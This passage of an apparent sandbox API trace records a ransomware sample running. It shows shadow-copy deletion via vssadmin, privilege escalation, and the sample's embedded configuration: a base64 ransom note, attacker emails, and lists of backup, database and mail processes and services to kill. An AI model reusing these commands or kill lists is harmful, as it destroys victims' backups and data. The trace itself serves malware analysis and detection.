bufptr=0x56f938, prefmaxlen=0xffffffff, entriesread=0x56f92c, totalentries=0x56f924, resume_handle=0x56f928 | out: bufptr=0x56f938, entriesread=0x56f92c, totalentries=0x56f924, resume_handle=0x56f928) returned 0x35 [0215.022] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1024) returned 0x8e6590 [0215.022] WNetEnumResourceW (in: hEnum=0x8fa348, lpcCount=0x56f980, lpBuffer=0x8e6590, lpBufferSize=0x56f990 | out: lpcCount=0x56f980, lpBuffer=0x8e6590, lpBufferSize=0x56f990) returned 0x103 [0215.022] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6590) returned 1 [0215.022] WNetCloseEnum (hEnum=0x8fa348) returned 0x0 [0215.022] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x8fa8b0, lphEnum=0x56f96c | out: lphEnum=0x56f96c*=0x0) returned 0x4b8 [0227.309] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x8fa8d0, lphEnum=0x56f96c | out: lphEnum=0x56f96c*=0x0) returned 0x4c6 [0227.310] WNetEnumResourceW (in: hEnum=0x8d9b10, lpcCount=0x56f9cc, lpBuffer=0x8fa890, lpBufferSize=0x56f9dc | out: lpcCount=0x56f9cc, lpBuffer=0x8fa890, lpBufferSize=0x56f9dc) returned 0x103 [0227.310] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0227.310] WNetCloseEnum (hEnum=0x8d9b10) returned 0x0 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x71deb000" os_pid = "0x6f4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x674" cmd_line = "C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1604 os_tid = 0x6f8 Thread: id = 1611 os_tid = 0x744 Thread: id = 1612 os_tid = 0x74c Thread: id = 1613 os_tid = 0x750 Thread: id = 1614 os_tid = 0x754 Process: id = "12" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x729f0000" os_pid = "0x6fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x674" cmd_line = "\"C:\\Windows\\system32\\explorer.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000dfcf" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1605 os_tid = 0x700 [0129.378] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x254) returned 0x6cf050 [0129.633] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6cbfb8 [0129.633] RtlInitAnsiString (in: DestinationString=0xaf89c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0129.633] RtlAnsiStringToUnicodeString (in: DestinationString=0xaf8a4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0129.634] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xc) returned 0x6c3670 [0129.634] RtlFreeAnsiString (AnsiString="N") [0129.634] RtlInitUnicodeString (in: DestinationString=0xaf8a8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0129.634] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0xaf8b4 | out: BaseAddress=0xaf8b4*=0x77860000) returned 0x0 [0129.635] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c3670) returned 1 [0129.635] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cbfb8) returned 1 [0129.636] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6cbfb8 [0129.636] RtlInitAnsiString (in: DestinationString=0xaf89c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0129.636] RtlAnsiStringToUnicodeString (in: DestinationString=0xaf8a4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0129.636] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xc) returned 0x6c3658 [0129.636] RtlFreeAnsiString (AnsiString="N") [0129.636] RtlInitUnicodeString (in: DestinationString=0xaf8a8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0129.636] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0xaf8b4 | out: BaseAddress=0xaf8b4*=0x77860000) returned 0x0 [0129.636] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c3658) returned 1 [0129.637] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cbfb8) returned 1 [0129.637] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6cbfb8 [0129.637] RtlInitAnsiString (in: DestinationString=0xaf89c, SourceString="NTDLL" | out: DestinationString="NTDLL") [0129.637] RtlAnsiStringToUnicodeString (in: DestinationString=0xaf8a4, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0129.637] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xc) returned 0x6c3670 [0129.637] RtlFreeAnsiString (AnsiString="N") [0129.637] RtlInitUnicodeString (in: DestinationString=0xaf8a8, SourceString="NTDLL" | out: DestinationString="NTDLL") [0129.637] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0xaf8b4 | out: BaseAddress=0xaf8b4*=0x77860000) returned 0x0 [0129.637] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c3670) returned 1 [0129.638] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cbfb8) returned 1 [0129.704] RtlInitUnicodeString (in: DestinationString=0xaf914, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0129.704] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0xaf920 | out: BaseAddress=0xaf920*=0x74d40000) returned 0x0 [0129.707] RtlInitUnicodeString (in: DestinationString=0xaf914, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0129.707] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0xaf920 | out: BaseAddress=0xaf920*=0x74d20000) returned 0x0 [0129.712] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x7) returned 0x6cbfb8 [0129.712] RtlInitAnsiString (in: DestinationString=0xaf89c, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0129.712] RtlAnsiStringToUnicodeString (in: DestinationString=0xaf8a4, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0129.712] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6c3850 [0129.712] RtlFreeAnsiString (AnsiString="S") [0129.712] RtlInitUnicodeString (in: DestinationString=0xaf8a8, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0129.712] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0xaf8b4 | out: BaseAddress=0xaf8b4*=0x74cf0000) returned 0x0 [0129.713] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c3850) returned 1 [0129.713] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cbfb8) returned 1 [0129.713] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x9) returned 0x6c3850 [0129.713] RtlInitAnsiString (in: DestinationString=0xaf89c, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0129.713] RtlAnsiStringToUnicodeString (in: DestinationString=0xaf8a4, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0129.713] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6ce648 [0129.713] RtlFreeAnsiString (AnsiString="N") [0129.713] RtlInitUnicodeString (in: DestinationString=0xaf8a8, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0129.713] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0xaf8b4 | out: BaseAddress=0xaf8b4*=0x74d10000) returned 0x0 [0129.713] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ce648) returned 1 [0129.713] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c3850) returned 1 [0129.714] RtlInitUnicodeString (in: DestinationString=0xaf914, SourceString="psapi.dll" | out: DestinationString="psapi.dll") [0129.714] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0xaf920 | out: BaseAddress=0xaf920*=0x77830000) returned 0x0 [0129.714] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xaf93c | out: lpLuid=0xaf93c*(LowPart=0x14, HighPart=0)) returned 1 [0129.771] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0xaf8c4 | out: TokenHandle=0xaf8c4*=0x144) returned 0x0 [0129.771] AdjustTokenPrivileges (in: TokenHandle=0x144, DisableAllPrivileges=0, NewState=0xaf92c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0129.771] GetLastError () returned 0x514 [0129.774] FindResourceA (hModule=0xb0000, lpName=0x7a69, lpType=0x539) returned 0xc8048 [0129.774] LoadResource (hModule=0xb0000, hResInfo=0xc8048) returned 0xc8058 [0129.774] LockResource (hResData=0xc8058) returned 0xc8058 [0129.774] SizeofResource (hModule=0xb0000, hResInfo=0xc8048) returned 0x1492 [0129.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1492) returned 0x6d28f0 [0129.774] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5) returned 0x6cbff8 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x100) returned 0x6d1750 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x100) returned 0x6d02b0 [0129.777] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d02b0) returned 1 [0129.777] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d1750) returned 1 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce648 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc008 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce7a8 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6cc018 [0129.777] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce7c8 [0129.778] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6cc018, Size=0x8) returned 0x6cc028 [0129.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6ce7e8 [0129.778] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xaf82c, _Radix=0 | out: _EndPtr=0xaf82c*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, 